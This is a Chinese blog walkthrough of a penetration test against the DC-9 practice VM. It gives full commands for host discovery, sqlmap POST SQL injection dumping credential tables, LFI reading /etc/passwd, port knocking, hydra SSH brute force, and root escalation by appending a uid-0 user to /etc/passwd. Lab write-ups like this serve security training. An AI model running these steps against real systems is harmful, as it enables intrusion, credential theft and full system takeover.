对DC-9靶机进行渗透测试

环境搭建

靶机:DC-9,IP地址:192.168.52.142

测试机:Kali,IP地址:192.168.52.134

一. 信息收集

1、下载安装并启动DC-9

下载完解压后会有一个以.ova为后缀的文件,直接在VM中用”打开虚拟机”,在设置中修改网络适配器为NET模式。

在这里记一下DC-9的MAC地址,等下用的到。

启动DC-9时开机就好,因为不知道用户名和密码,所以登录不了

2、打开kali,查看kali的IP地址和子网掩码

因为DC-9和kali现在属于同一个网段,查看kali的IP和子网掩码是为了获得DC-9的网络号

DC-9的网络号是:192.168.52.0/24

3、使用netdiscover扫描主机

netdiscover -i eth0 -r 192.168.52.0/24

##netdiscover: -i 指定网卡 -r 指定网段

也可以使用nmap进行主机发现,

nmap -sP 192.168.52.0/24

在使用nmap进行主机发现时,会扫描出本机的IP地址,而netdiscover则不会扫描出本机IP地址

或使用arp-scan -l命令拿到DC-9的IP地址

arp-scan -l

根据之前记下的MAC地址确定扫描到的主机哪一个是DC-9,因为MAC地址是主机的唯一标识。

获得DC-9靶机ip:192.168.52.142(可通过kali浏览器访问进行验证)

4、使用nmap扫描DC-9,看有什么服务是可利用的(端口扫描)

root@kali:~# nmap -sV -A 192.168.52.142

-sV只扫描端口及其版本号

-A扫描端口的详细信息

目标靶机开放了80端口,22端口显示被过滤掉了。

5、我们以80端口作为突破口,访问80,查看基本信息

可以使用Firefox插件Wappalyzer,或者扫描网站目录,查看robots.txt等暴露出的信息,可以获取到网站相关信息

使用浏览器插件Wappalyzer,检测网站的CMS,框架,服务器等信息

没有检测到CMS信息

利用dirsearch进行网站目录扫描:

dirsearch -u 192.168.52.142 -e * -i 200

-i 状态码 只显示该状态码

-x 状态码 不显示该状态码

二. 漏洞查找与利用

1. SQL注入

在页面发现一个search框,可以查询用户信息,与数据库有交互,猜测可能存在SQL注入,随便输入数据查询,URL框没有改变,说明是POST方式提交,B

urp抓包检测是否存在SQL注入的可能

可以看出确实存在POST型SQL注入,网站应该对注入做了一些应对措施。过滤啊,屏蔽报错啊

利用kali自带的sqlmap工具进行自动化注入

列出所有数据库:

sqlmap -u "http://192.168.52.142/results.php" --data "search=1" --batch --dbs
--data 此参数是把数据以POST方式提交
--batch 默认确认,不询问你是否输入
--dbs列出所有数据库 

发现Staff和users数据库,先看看users库中有什么

1)、users数据库

a、列出users数据库的所有表

sqlmap -u "http://192.168.52.142/results.php" --data "search=1"  --batch -D users --tables
-D 指定数据库,当数据库名含有特殊符号的时候,需要用引号包括起来
--tables 获取表名

b、查看users数据库下的UserDetails表下所有字段里的数据

sqlmap -u "http://192.168.52.142/results.php" --data "search=1"  -D users -T UserDetails --dump
-T 指定表名,当表名含有特殊符号的时候,需要用引号包括起来
--dump  获取数据
+----+------------+---------------+---------------------+-----------+-----------+
| id | lastname   | password      | reg_date            | username  | firstname |
+----+------------+---------------+---------------------+-----------+-----------+
| 1  | Moe        | 3kfs86sfd     | 2019-12-29 16:58:26 | marym     | Mary      |
| 2  | Dooley     | 468sfdfsd2    | 2019-12-29 16:58:26 | julied    | Julie     |
| 3  | Flintstone | 4sfd87sfd1    | 2019-12-29 16:58:26 | fredf     | Fred      |
| 4  | Rubble     | RocksOff      | 2019-12-29 16:58:26 | barneyr   | Barney    |
| 5  | Cat        | TC&TheBoyz    | 2019-12-29 16:58:26 | tomc      | Tom       |
| 6  | Mouse      | B8m#48sd      | 2019-12-29 16:58:26 | jerrym    | Jerry     |
| 7  | Flintstone | Pebbles       | 2019-12-29 16:58:26 | wilmaf    | Wilma     |
| 8  | Rubble     | BamBam01      | 2019-12-29 16:58:26 | bettyr    | Betty     |
| 9  | Bing       | UrAG0D!       | 2019-12-29 16:58:26 | chandlerb | Chandler  |
| 10 | Tribbiani  | Passw0rd      | 2019-12-29 16:58:26 | joeyt     | Joey      |
| 11 | Green      | yN72#dsd      | 2019-12-29 16:58:26 | rachelg   | Rachel    |
| 12 | Geller     | ILoveRachel   | 2019-12-29 16:58:26 | rossg     | Ross      |
| 13 | Geller     | 3248dsds7s    | 2019-12-29 16:58:26 | monicag   | Monica    |
| 14 | Buffay     | smellycats    | 2019-12-29 16:58:26 | phoebeb   | Phoebe    |
| 15 | McScoots   | YR3BVxxxw87   | 2019-12-29 16:58:26 | scoots    | Scooter   |
| 16 | Trump      | Ilovepeepee   | 2019-12-29 16:58:26 | janitor   | Donald    |
| 17 | Morrison   | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2  | Scott     |
+----+------------+---------------+---------------------+-----------+-----------+

这里是那些员工这账号和密码,后面可能会用到,先放着,然后我们再看看Staff库里面有啥

2)、Staff数据库

a、列出Staff数据库的所有表

sqlmap -u "http://192.168.52.142/results.php" --data "search=1"  --batch -D Staff --tables
-D 指定数据库,当数据库名含有特殊符号的时候,需要用引号包括起来
--tables 获取表名

b、查看Staff数据库下的StaffDetails表下所有字段里的数据

sqlmap -u "http://192.168.52.142/results.php" --data "search=1" -D Staff -T StaffDetails --dump
-T 指定表名,当表名含有特殊符号的时候,需要用引号包括起来
--dump  获取数据

c、查看Staff数据库下的Users表下所有字段里的数据

sqlmap -u "http://192.168.52.142/results.php" --data "search=1" -D Staff  -T Users --dump
-T 指定表名,当表名含有特殊符号的时候,需要用引号包括起来
--dump  获取数据

dump完密码的时候会提示你是否解密md5,选择sqlmap自带的字典就可以跑出明文密码

得到用户名和密码:admin/transorbital1 ,然后使用这个用户去站点登录

2. 本地文件包含漏洞(LFI)

登录后增加了Add Record和Manage页面,在Manage的下面发现了一句话File does not exits ,猜测可能存在文件包含漏洞,猜测文件参数是file

?file=../../../../etc/passwd

果然存在LFI漏洞,接下来是fuzz一下系统文件

发现了/etc/knockd.conf,这就和之前nmap扫描靶机运行了SSH服务,但状态是filtered对应起来了,因为knockd可以对SSH进行防护

3、端口敲门

knockd字面意思是敲,只是这里敲的是端口,而且需要按照顺序‘敲’端口。如果敲击规则匹配,则可以让防火墙实时更改策略。从而达到开关防火墙的目的。

看一下/etc/knockd.conf文件中的自定义端口

有3个自定义端口7469,8475,9842,根据Port-knocking的规则依次访问这三个端口就可以打开SSH服务了,不过有时间限制,所以动作要快

sudo nmap -p 7469 192.168.52.142
sudo nmap -p 8475 192.168.52.142
sudo nmap -p 9842 192.168.52.142
或者安装knockd
knock 192.168.52.142 7469 8475 9842

现在查看ssh服务是否被敲开

sudo nmap -p 22 192.168.52.142

不出所料SSH服务被成功敲开

4.hydra爆破SSH账户

将前面所爆出来的那些员工的账号和密码编写成两个字典,进行ssh爆破,注意各个字符串之间不要有空格,不然空格也会算在字符串中,可能会爆破不出来

使用hydra爆破SSH账户

hydra -L username.txt -P password.txt ssh://192.168.52.142

爆破出来有3个用户可用,chandlerb\UrAG0D!、joeyt\Passw0rd、janitor\Ilovepeepee

依次登录3个用户,最终在用户janitor的目录下找到了隐藏文件

ssh chandlerb@192.168.52.142 
UrAG0D!

ssh joeyt@192.168.52.142 
Passw0rd

ssh janitor@192.168.52.142 
Ilovepeepee

.secrets-for-putin隐藏文件中有一个可读文件,打开后这好像是存放的用户密码,然后把这些密码再加进刚刚我们编写的password.txt字典中重新再爆破一次看看

爆破出了一个新的用户号:fredf\B4-Tru3-001

三、提权

使用fredf用户登录靶机

ssh fredf@192.168.52.142
B4-Tru3-001

列出sudo权限的命令,这里发现fred用户在NOPASSWD的情况下可以使用root权限运行这个test文件

sudo -l

尝试运行,发现它是一个python文件

使用find查找test.py文件

find / -name test.py 2>/dev/null
### 2>/dev/null 代表忽略掉错误提示信息。

查看test.py

py文件的含义为:读取参数1的内容,然后将参数1的内容写入到参数2的内容中。

那我们可以构造一个root权限用户,将该用户信息写入文件内,将改文件作为参数1,/etc/passwd作为参数2,这样就创建了一个root权限用户,就能实现提权了

构造参数1:

openssl passwd -1 -salt admin 123456
   -1 的意思是使用md5加密算法
   -salt 自动插入一个随机数作为文件内容加密
    admin 123456 用户名和密码

根据/etc/passwd的格式,修改一下然后存入一个文件里,这个文件就是参数1

echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd
    # 用户名:密码:uid:gid:家目录:登陆后使用的shell
cat /tmp/passwd 
sudo ./test /tmp/passwd /etc/passwd   
     #执行test文件  参数1  参数2 

运行脚本的时候最好切换到test目录下,test.py的路径为绝对路径

写入完成后登录到我们创建的新账号

在root目录下获取flag

su admin
Password:123456
cd /root
ls
cat theflag.txt

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值